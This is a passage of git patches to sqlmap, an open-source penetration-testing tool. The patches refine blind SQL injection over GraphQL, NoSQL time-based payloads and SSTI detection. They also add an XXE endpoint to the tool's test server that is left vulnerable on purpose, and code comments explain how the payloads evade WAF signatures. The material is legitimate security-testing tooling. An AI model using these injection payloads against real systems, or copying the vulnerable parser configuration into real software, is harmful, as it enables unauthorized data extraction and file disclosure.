parameter): """Identify the template engine and confirm injection. Returns (engine, evidence) where evidence is a dict of detection results, or (None, None). @@ -532,6 +538,12 @@ def _fingerprint(place, parameter): bestEngine = engine bestEvidence = evidence + # A decisive arithmetic proof on an engine whose delimiter no other engine shares + # is unambiguous: stop scanning the remaining engines (all phases of THIS engine + # already ran, so its evidence is complete) instead of exhaustively testing all nine. + if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS: + break + if bestEngine and bestScore >= 3: # For engines with ambiguous delimiters (shared by multiple engines), # name a specific engine when: error fingerprint, distinguishing probe, diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 506e8f1027f..c8946978870 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -439,10 +439,10 @@ def test_sqlite_ordinal_and_length(self): self.assertEqual(d.length("x"), "LENGTH((x))") self.assertEqual(d.ordinal("x", 3), "UNICODE(SUBSTR((x),3,1))") - def test_sqlite_rows_handles_nulls(self): + def test_sqlite_row_handles_nulls(self): d = gi.DIALECTS["SQLite"] - sql = d.rows(["name", "surname"], "users") - self.assertIn("GROUP_CONCAT", sql) + sql = d.row(["name", "surname"], "users", 3) + self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql) self.assertIn("FROM users", sql) @@ -529,7 +529,7 @@ def _mockOracle(target): tables=None, columns=None, length=lambda expr: "LEN(%s)" % expr, ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), - rows=None) + row=None) def _value(cond): pos = None @@ -581,20 +581,21 @@ def test_batched_empty(self): class TestGraphqlDumpTable(unittest.TestCase): - """Whole-table dump: column list + row scalar split back into a grid""" + """Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset""" def test_dump_table(self): + d = gi.DIALECTS["SQLite"] responses = { - "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('users'))": "id,name", + d.columns("users"): "id,name", + "(SELECT COUNT(*) FROM users)": "2", + d.row(["id", "name"], "users", 0): "1~~~null", + d.row(["id", "name"], "users", 1): "2~~~luther", } - rowScalar = "1%snull^^^2%sluther" % ("~~~", "~~~") # two rows, two columns def infer(expr, maxLen=gi.MAX_LENGTH): - if expr in responses: - return responses[expr] - return rowScalar # the GROUP_CONCAT row dump + return responses.get(expr) - columns, rows = gi._dumpTable(infer, gi.DIALECTS["SQLite"], "users") + columns, rows = gi._dumpTable(infer, d, "users") self.assertEqual(columns, ["id", "name"]) self.assertEqual(rows, [["1", "null"], ["2", "luther"]]) diff --git a/tests/test_techniques.py b/tests/test_techniques.py index 239bc33f855..4e55ed674b6 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -1227,13 +1227,18 @@ class TestGraphqlDumpTable(unittest.TestCase): DIALECT = gql.DIALECTS["MySQL"] def test_dump_table_grid(self): - # infer() returns the column list for dialect.columns(table), then the concatenated - # rows scalar for dialect.rows(...). We map by which sub-expression is requested. - columns_expr = self.DIALECT.columns("users") - rows_value = gql.COL_SEP.join(("1", "alice")) + gql.ROW_SEP + gql.COL_SEP.join(("2", "bob")) + # infer() returns the column list for dialect.columns(table), the COUNT(*), then + # one COL_SEP-joined row scalar per ordinal offset (rows are dumped individually + # to avoid the back-end's GROUP_CONCAT truncation). + responses = { + self.DIALECT.columns("users"): "id,name", + "(SELECT COUNT(*) FROM users)": "2", + self.DIALECT.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), + self.DIALECT.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), + } def infer(expr, maxLen=gql.MAX_LENGTH): - return "id,name" if expr == columns_expr else rows_value + return responses.get(expr) columns, rows = gql._dumpTable(infer, self.DIALECT, "users") self.assertEqual(columns, ["id", "name"]) From f4c4025bdb45b430fd3530ca328a8fa86c723e06 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 12:51:25 +0200 Subject: [PATCH 725/853] Minor patch --- extra/vulnserver/vulnserver.py | 34 ++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 9 +++++---- lib/techniques/graphql/inject.py | 34 ++++++++++++++++++++++---------- 4 files changed, 64 insertions(+), 15 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 1a29dbb4fd0..e1a43886457 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -11,11 +11,13 @@ import base64 import json +import os import random import re import sqlite3 import string import sys +import tempfile import threading import time import traceback @@ -24,6 +26,18 @@ UNICODE_ENCODING = "utf-8" DEBUG = False +# A benign file with random content/name that the XXE endpoint can disclose via a file:// +# external entity, so '--xxe --file-read' has a target in the vuln-test. Randomized (never a +# static literal) to match sqlmap's below-the-radar convention, so nothing here becomes a +# blacklistable signature. In-process server, so callers read these same values. +XXE_READ_MARKER = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(20)) +XXE_READ_FILE = os.path.join(tempfile.gettempdir(), "%s.txt" % "".join(random.choice(string.ascii_lowercase) for _ in range(12))) +try: + with open(XXE_READ_FILE, "w") as _f: + _f.write(XXE_READ_MARKER + "\n") +except (IOError, OSError): + pass + if PY3: from http.client import FORBIDDEN from http.client import INTERNAL_SERVER_ERROR @@ -945,6 +959,26 @@ def do_REQUEST(self): self.wfile.write(b"Request blocked: security policy violation (WAF)") return + if self.url == "/xxe": + self.send_response(OK) + self.send_header("Content-type", "application/xml; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + body = getattr(self, "data", "") or "" + try: + from lxml import etree + # VULNERABLE: a parser configured to load DTDs and resolve entities (incl. + # external file:// general entities) - the textbook XXE misconfiguration. + parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True) + root = etree.fromstring(body.encode(UNICODE_ENCODING), parser) + output = "%s" % "".join(root.itertext()) # reflects expanded entities + except Exception as ex: + output = "%s: %s" % (type(ex).__name__, ex) # parser diagnostic (error-based tier) + + self.wfile.write(output.encode(UNICODE_ENCODING, "ignore")) + return + if self.url == "/csrf": if self.params.get("csrf_token") == _csrf_token: self.url = "/" diff --git a/lib/core/settings.py b/lib/core/settings.py index aaa47cec6cc..7eb7576fb74 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.68" +VERSION = "1.10.7.69" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index cc0215baaf5..c983ebdc66e 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -97,6 +97,7 @@ def vulnTest(tests=None, label="vuln"): ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction + ("-u \"xxe\" --data=\"x\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), @@ -104,14 +105,14 @@ def vulnTest(tests=None, label="vuln"): ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) - # The vulnserver's XPath endpoint renders with lxml and its SSTI endpoint with jinja2; where those - # optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip + # The vulnserver's XPath and XXE endpoints render with lxml and its SSTI endpoint with jinja2; where + # those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip # just those entries instead of failing the whole run - the rest of the suite is unaffected. try: __import__("lxml") except ImportError: - TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0]) - logger.warning("skipping the XPath vuln-test entry ('lxml' not available)") + TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0] and "--xxe" not in _[0]) + logger.warning("skipping the XPath and XXE vuln-test entries ('lxml' not available)") try: __import__("jinja2") except ImportError: diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index 00e6abcf8c1..d5eb9c75046 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -709,12 +709,18 @@ def _detectBoolean(slot, endpoint): return None, None truePage, _ = _gqlSend(endpoint, trueQuery) + truePage2, _ = _gqlSend(endpoint, trueQuery) falsePage, _ = _gqlSend(endpoint, falseQuery) trueVal = _slotValue(truePage) + trueVal2 = _slotValue(truePage2) falseVal = _slotValue(falsePage) - if _ratio(trueVal, falseVal) < (1.0 - _MIN_RATIO_DIFF): + # Require the true response to be REPRODUCIBLE (trueVal ~= trueVal2) and to diverge + # from the false response. A single true-vs-false compare turns page jitter into a + # false positive; a reproducibility guard (like the other non-SQL engines' _boolean) + # rejects it, since a jittery page also fails to reproduce against itself. + if _ratio(trueVal, trueVal2) >= (1.0 - _MIN_RATIO_DIFF) and _ratio(trueVal, falseVal) < (1.0 - _MIN_RATIO_DIFF): return "boolean-based blind (string)", truePage return None, None @@ -731,21 +737,29 @@ def _detectTime(slot, endpoint): if not baseQuery: return None, None, None - start = time.time() - _gqlSend(endpoint, baseQuery) - baseline = time.time() - start + def elapsed(query): + start = time.time() + _gqlSend(endpoint, query) + return time.time() - start + baseline = elapsed(baseQuery) delay = conf.timeSec + cutoff = baseline + delay * 0.5 + for dbms, dialect in DIALECTS.items(): if not dialect.delay: continue - query = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay))) - if not query: + sleepQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay))) + if not sleepQuery or elapsed(sleepQuery) <= cutoff: continue - start = time.time() - _gqlSend(endpoint, query) - if (time.time() - start) > baseline + delay * 0.5: - return "time-based blind", baseline + delay * 0.5, dbms + + # Confirm before attributing: the delay must REPRODUCE and a false-condition + # control must stay fast. A single sample turns jitter/a uniformly-slow endpoint + # into a false positive and can pin the wrong dialect; requiring the delay to + # track the condition rules both out. + controlQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=2", delay))) + if elapsed(sleepQuery) > cutoff and (controlQuery is None or elapsed(controlQuery) <= cutoff): + return "time-based blind", cutoff, dbms return None, None, None From b8fb645db0fe6bd238012698e174b0185937c6d4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 13:27:47 +0200 Subject: [PATCH 726/853] Minor patches --- lib/core/settings.py | 2 +- lib/techniques/graphql/inject.py | 153 +++++++++++++++++++++++-------- lib/techniques/nosql/inject.py | 17 +++- tests/test_graphql.py | 16 ++-- tests/test_techniques.py | 30 ++++-- 5 files changed, 159 insertions(+), 59 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7eb7576fb74..4a621142116 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.69" +VERSION = "1.10.7.70" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index d5eb9c75046..0ebe75bcd46 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -31,6 +31,7 @@ from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request from lib.utils.xrange import xrange +from thirdparty.six import unichr as _unichr # Improbable literal used to build always-true/never-match payloads. Randomized per run (like # NOSQL_SENTINEL) so it never becomes a static signature a WAF can pin a blocking rule on. @@ -47,9 +48,12 @@ # Maximum number of rows dumped per table (bounds a runaway blind dump) DUMP_MAX_ROWS = 1000 -# Printable-ASCII codepoint bounds for blind character inference +# Printable-ASCII codepoint bounds for blind character inference (the fast common path); +# a codepoint proven above CHAR_MAX is recovered over the full Unicode range instead of +# being silently mangled into a wrong printable char. CHAR_MIN = 0x20 CHAR_MAX = 0x7e +UNICODE_MAX = 0x10FFFF # Number of independent predicates packed into a single aliased GraphQL document (batched inference) BATCH_SIZE = 40 @@ -89,11 +93,23 @@ # established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy # elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition # in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/ -# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns` builds the per-table -# column list and `row(columns, table, offset)` a single row's cells joined by COL_SEP. +# `currentUser`/`currentDb` are generic enumeration scalars. Table and column NAMES are enumerated +# one at a time by ordinal position from a catalog source: `tableFrom`/`tableCol` and +# `columnFrom(table)`/`columnCol` give the FROM(+WHERE) and the name column, `paginate(col, offset)` +# adds the per-dialect single-row window. `row(columns, table, offset)` is one data row's cells +# joined by COL_SEP. Per-item enumeration avoids a GROUP_CONCAT/STRING_AGG scalar that the back-end +# would silently truncate (e.g. MySQL group_concat_max_len=1024). Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", "banner", "currentUser", "currentDb", - "tables", "columns", "row")) + "tableFrom", "tableCol", "columnFrom", "columnCol", "paginate", "row")) + + +def _limitOffset(col, offset): + return "ORDER BY %s LIMIT 1 OFFSET %d" % (col, offset) + + +def _offsetFetch(col, offset): + return "ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" % (col, offset) # A row is extracted one at a time by ordinal position (LIMIT/OFFSET). Concatenating @@ -129,19 +145,25 @@ def _mssqlRow(columns, table, offset): banner="SQLITE_VERSION()", currentUser=None, currentDb=None, - tables="(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%')", - columns=lambda table: "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('%s'))" % table, + tableFrom="FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'", + tableCol="name", + columnFrom=lambda table: "FROM pragma_table_info('%s')" % table, + columnCol="name", + paginate=_limitOffset, row=_sqliteRow)), ("Microsoft SQL Server", Dialect( fingerprint="@@VERSION LIKE '%Microsoft%'", length=lambda expr: "LEN((%s))" % expr, - ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + ordinal=lambda expr, pos: "UNICODE(SUBSTRING((%s),%d,1))" % (expr, pos), # ASCII() truncates non-ASCII to a byte delay=None, banner="@@VERSION", currentUser="SYSTEM_USER", currentDb="DB_NAME()", - tables="(SELECT STRING_AGG(name,',') FROM sys.tables)", - columns=lambda table: "(SELECT STRING_AGG(name,',') FROM sys.columns WHERE object_id=OBJECT_ID('%s'))" % table, + tableFrom="FROM sys.tables", + tableCol="name", + columnFrom=lambda table: "FROM sys.columns WHERE object_id=OBJECT_ID('%s')" % table, + columnCol="name", + paginate=_offsetFetch, row=_mssqlRow)), ("PostgreSQL", Dialect( fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", @@ -151,8 +173,11 @@ def _mssqlRow(columns, table, offset): banner="version()", currentUser="CURRENT_USER", currentDb="CURRENT_DATABASE()", - tables="(SELECT STRING_AGG(table_name,',') FROM information_schema.tables WHERE table_schema='public')", - columns=lambda table: "(SELECT STRING_AGG(column_name,',') FROM information_schema.columns WHERE table_name='%s')" % table, + tableFrom="FROM information_schema.tables WHERE table_schema='public'", + tableCol="table_name", + columnFrom=lambda table: "FROM information_schema.columns WHERE table_name='%s'" % table, + columnCol="column_name", + paginate=_limitOffset, row=_pgsqlRow)), ("MySQL", Dialect( fingerprint="@@VERSION_COMMENT IS NOT NULL", @@ -162,8 +187,11 @@ def _mssqlRow(columns, table, offset): banner="VERSION()", currentUser="CURRENT_USER()", currentDb="DATABASE()", - tables="(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())", - columns=lambda table: "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='%s')" % table, + tableFrom="FROM information_schema.tables WHERE table_schema=DATABASE()", + tableCol="table_name", + columnFrom=lambda table: "FROM information_schema.columns WHERE table_name='%s'" % table, + columnCol="column_name", + paginate=_limitOffset, row=_mysqlRow)), )) @@ -832,10 +860,39 @@ def _fingerprint(truth): # --- Blind inference -------------------------------------------------------- +def _safeChr(codepoint): + try: + return _unichr(codepoint) + except (ValueError, OverflowError): + return "?" + + +def _inferChar(truth, dialect, expr, pos): + """Recover one character's codepoint by bisection: the printable-ASCII range first + (fast, ~log2(95) probes), widening to the full Unicode range only when the codepoint + proves to be above it - so non-ASCII/UTF-8 data is recovered rather than silently + mangled into a wrong printable char. Control bytes below CHAR_MIN surface as '?'. + (MySQL's ASCII() yields the leading byte of a multibyte char, not its codepoint - a + documented limitation; the codepoint-returning dialects recover exactly.)""" + + ordExpr = dialect.ordinal(expr, pos) + if not truth("%s>=%d" % (ordExpr, CHAR_MIN)): + return "?" + hi = UNICODE_MAX if truth("%s>%d" % (ordExpr, CHAR_MAX)) else CHAR_MAX + low, high = CHAR_MIN, hi + while low < high: + mid = (low + high + 1) // 2 + if truth("%s>=%d" % (ordExpr, mid)): + low = mid + else: + high = mid - 1 + return _safeChr(low) + + def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): # Recover the string value of SQL expression `expr` one character at a time: - # binary-search the length, then bisect each character's codepoint over the - # printable-ASCII range (~log2(95) requests per character). + # binary-search the length, then each character via _inferChar (printable-fast, + # widening to full Unicode for non-ASCII). lengthExpr = dialect.length(expr) if not truth("%s>0" % lengthExpr): @@ -858,26 +915,17 @@ def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): value = "" for pos in xrange(1, length + 1): - ordExpr = dialect.ordinal(expr, pos) - if not truth("%s>=%d" % (ordExpr, CHAR_MIN)): - value += "?" # codepoint outside the printable-ASCII range - continue - low, high = CHAR_MIN, CHAR_MAX - while low < high: - mid = (low + high + 1) // 2 - if truth("%s>=%d" % (ordExpr, mid)): - low = mid - else: - high = mid - 1 - value += chr(low) + value += _inferChar(truth, dialect, expr, pos) return value -def _inferExprBatched(truthBatch, dialect, expr, maxLen=MAX_LENGTH): +def _inferExprBatched(truthBatch, truth, dialect, expr, maxLen=MAX_LENGTH): # Same recovery as _inferExpr, but every probe is independent and resolved in # parallel via aliased batching: the length is read from monotone >=N predicates - # and each character from its 7 independent bit predicates (ASCII & 2**b). An - # L-character value costs ceil(7*L / BATCH_SIZE) requests instead of ~7*L. + # and each character from its 7 independent bit predicates (ASCII & 2**b) plus one + # ">CHAR_MAX" flag. An L-character value costs ceil(8*L / BATCH_SIZE) requests. A + # flagged (non-ASCII) position is then recovered exactly via `truth` bisection + # (the 7 bits only carry the low byte), so non-ASCII data is not mangled. lengthExpr = dialect.length(expr) length = 0 @@ -896,19 +944,27 @@ def _inferExprBatched(truthBatch, dialect, expr, maxLen=MAX_LENGTH): for bit in xrange(7): conditions.append("(%s & %d)>0" % (dialect.ordinal(expr, pos), 1 << bit)) index.append((pos, bit)) + conditions.append("%s>%d" % (dialect.ordinal(expr, pos), CHAR_MAX)) + index.append((pos, "hi")) - codes = {} + codes, wide = {}, set() flat = [] for chunk in _chunks(conditions, BATCH_SIZE): flat.extend(truthBatch(chunk)) for (pos, bit), ok in zip(index, flat): - if ok: + if bit == "hi": + if ok: + wide.add(pos) + elif ok: codes[pos] = codes.get(pos, 0) | (1 << bit) value = "" for pos in xrange(1, length + 1): - code = codes.get(pos, 0) - value += chr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" + if pos in wide: + value += _inferChar(truth, dialect, expr, pos) # non-ASCII: exact recovery + else: + code = codes.get(pos, 0) + value += _unichr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" return value @@ -917,17 +973,37 @@ def _inferrer(truth, truthBatch, dialect): # with a known true/false pair), else fall back to sequential bisection if truthBatch and truthBatch(["1=1", "1=2"]) == [True, False]: logger.info("using aliased query batching to accelerate blind extraction") - return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, dialect, expr, maxLen) + return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, truth, dialect, expr, maxLen) return lambda expr, maxLen=MAX_LENGTH: _inferExpr(truth, dialect, expr, maxLen) +def _catList(infer, dialect, col, fromClause): + # Enumerate a catalog name list (tables or a table's columns) one entry at a time by + # ordinal position, so a GROUP_CONCAT/STRING_AGG the back-end would silently truncate + # (e.g. MySQL group_concat_max_len=1024) can't drop names. + try: + count = int((infer("(SELECT COUNT(*) %s)" % fromClause) or "").strip()) + except ValueError: + count = 0 + + names = [] + for offset in xrange(min(count, DUMP_MAX_ROWS)): + name = infer("(SELECT %s %s %s)" % (col, fromClause, dialect.paginate(col, offset))) + if name: + names.append(name) + + if count > DUMP_MAX_ROWS: + logger.warning("catalog lists %d names; enumerating the first %d (DUMP_MAX_ROWS cap)" % (count, DUMP_MAX_ROWS)) + + return names + + def _dumpTable(infer, dialect, table): # Enumerate a table's columns, then recover its rows ONE AT A TIME by ordinal # position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by # the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row # extraction has no such cap. - columnsRaw = infer(dialect.columns(table)) - columns = [_ for _ in (columnsRaw or "").split(",") if _] + columns = _catList(infer, dialect, dialect.columnCol, dialect.columnFrom(table)) if not columns: return None @@ -1153,8 +1229,7 @@ def _enumerate(oracle): logger.info("%s: '%s'" % (label, value)) conf.dumper.singleString("GraphQL %s: %s" % (label, value)) - tablesRaw = infer(dialect.tables) if dialect.tables else None - tables = [_ for _ in (tablesRaw or "").split(",") if _] + tables = _catList(infer, dialect, dialect.tableCol, dialect.tableFrom) if not tables: logger.warning("no tables recovered through the oracle") return diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index c06782bd728..83909886cc7 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -246,8 +246,13 @@ def _detectError(place, parameter): return None for engine, tokens in ERROR_SIGNATURES: - if any(_ in broken.lower() for _ in tokens): - return engine + # the diagnostic must be injection-specific (token absent from the normal page) and + # must reproduce, so a dynamic page that merely happens to diverge and mention an + # engine name once is not mistaken for an error-based oracle + if any(_ in broken.lower() for _ in tokens) and not any(_ in normal.lower() for _ in tokens): + reBroken = _fetchValue(place, parameter, original + "'") + if any(_ in (reBroken or "").lower() for _ in tokens): + return engine return None @@ -303,10 +308,12 @@ def _whereDelay(condition): return "%s' || (function(d){if(%s){var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000)) def _detectWhere(place, parameter): - # an unconditional-delay payload must run ~conf.timeSec slower than the baseline while a - # non-delaying one stays fast (the latter guards against a uniformly slow endpoint) + # an unconditional-delay payload must run ~conf.timeSec slower than the baseline - and do so + # TWICE, to reject a one-off jitter spike - while a non-delaying one stays fast (the latter + # guards against a uniformly slow endpoint) + delayed = lambda: _timed(lambda: _fetchValue(place, parameter, _whereDelay("true"))) threshold = _timed(lambda: _fetchValue(place, parameter, _originalValue(place, parameter) or "1")) + conf.timeSec * 0.5 - if threshold < conf.timeSec and _timed(lambda: _fetchValue(place, parameter, _whereDelay("true"))) > threshold: + if threshold < conf.timeSec and delayed() > threshold and delayed() > threshold: if _timed(lambda: _fetchValue(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL)) <= threshold: return threshold return None diff --git a/tests/test_graphql.py b/tests/test_graphql.py index c8946978870..5564393a602 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -526,7 +526,7 @@ def _mockOracle(target): dialect = gi.Dialect( fingerprint="FP", delay=None, banner=None, currentUser=None, currentDb=None, - tables=None, columns=None, + tableFrom=None, tableCol=None, columnFrom=None, columnCol=None, paginate=None, length=lambda expr: "LEN(%s)" % expr, ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), row=None) @@ -572,12 +572,12 @@ def test_sequential_extraction(self): def test_batched_extraction_matches_sequential(self): for target in ("3.45.1", "users,creds", "luther~~~blisset^^^fluffy~~~bunny"): - dialect, _, truthBatch = _mockOracle(target) - self.assertEqual(gi._inferExprBatched(truthBatch, dialect, "EXPR"), target) + dialect, truth, truthBatch = _mockOracle(target) + self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), target) def test_batched_empty(self): - dialect, _, truthBatch = _mockOracle("") - self.assertEqual(gi._inferExprBatched(truthBatch, dialect, "EXPR"), "") + dialect, truth, truthBatch = _mockOracle("") + self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), "") class TestGraphqlDumpTable(unittest.TestCase): @@ -585,8 +585,12 @@ class TestGraphqlDumpTable(unittest.TestCase): def test_dump_table(self): d = gi.DIALECTS["SQLite"] + colFrom = d.columnFrom("users") responses = { - d.columns("users"): "id,name", + # columns are enumerated by ordinal position (COUNT + per-index), like rows + "(SELECT COUNT(*) %s)" % colFrom: "2", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", "(SELECT COUNT(*) FROM users)": "2", d.row(["id", "name"], "users", 0): "1~~~null", d.row(["id", "name"], "users", 1): "2~~~luther", diff --git a/tests/test_techniques.py b/tests/test_techniques.py index 4e55ed674b6..966354a64d2 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -1186,6 +1186,11 @@ def test_infer_expr_recovers_with_symbols(self): truth = _make_sql_truth(secret, self.DIALECT) self.assertEqual(gql._inferExpr(truth, self.DIALECT, "CURRENT_USER()"), secret) + def test_infer_expr_recovers_non_ascii(self): + secret = u"caf\u00e9\u2603" # e-acute (U+00E9) + snowman (U+2603): beyond printable ASCII + truth = _make_sql_truth(secret, self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "note"), secret) + def test_infer_expr_empty_value(self): truth = _make_sql_truth("", self.DIALECT) self.assertEqual(gql._inferExpr(truth, self.DIALECT, "expr"), "") @@ -1194,12 +1199,18 @@ def test_infer_expr_batched_recovers_string(self): secret = "MariaDB" truth = _make_sql_truth(secret, self.DIALECT) truthBatch = lambda conds: [truth(c) for c in conds] - self.assertEqual(gql._inferExprBatched(truthBatch, self.DIALECT, "version()"), secret) + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "version()"), secret) + + def test_infer_expr_batched_recovers_non_ascii(self): + secret = u"caf\u00e9\u2603" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "note"), secret) def test_infer_expr_batched_empty(self): truth = _make_sql_truth("", self.DIALECT) truthBatch = lambda conds: [truth(c) for c in conds] - self.assertEqual(gql._inferExprBatched(truthBatch, self.DIALECT, "expr"), "") + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "expr"), "") def test_inferrer_picks_batched_when_supported(self): secret = "abc" @@ -1227,14 +1238,17 @@ class TestGraphqlDumpTable(unittest.TestCase): DIALECT = gql.DIALECTS["MySQL"] def test_dump_table_grid(self): - # infer() returns the column list for dialect.columns(table), the COUNT(*), then - # one COL_SEP-joined row scalar per ordinal offset (rows are dumped individually - # to avoid the back-end's GROUP_CONCAT truncation). + # Columns and rows are BOTH enumerated by ordinal position (COUNT + per-index), + # never a whole-list GROUP_CONCAT the back-end would silently truncate. + d = self.DIALECT + colFrom = d.columnFrom("users") responses = { - self.DIALECT.columns("users"): "id,name", + "(SELECT COUNT(*) %s)" % colFrom: "2", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", "(SELECT 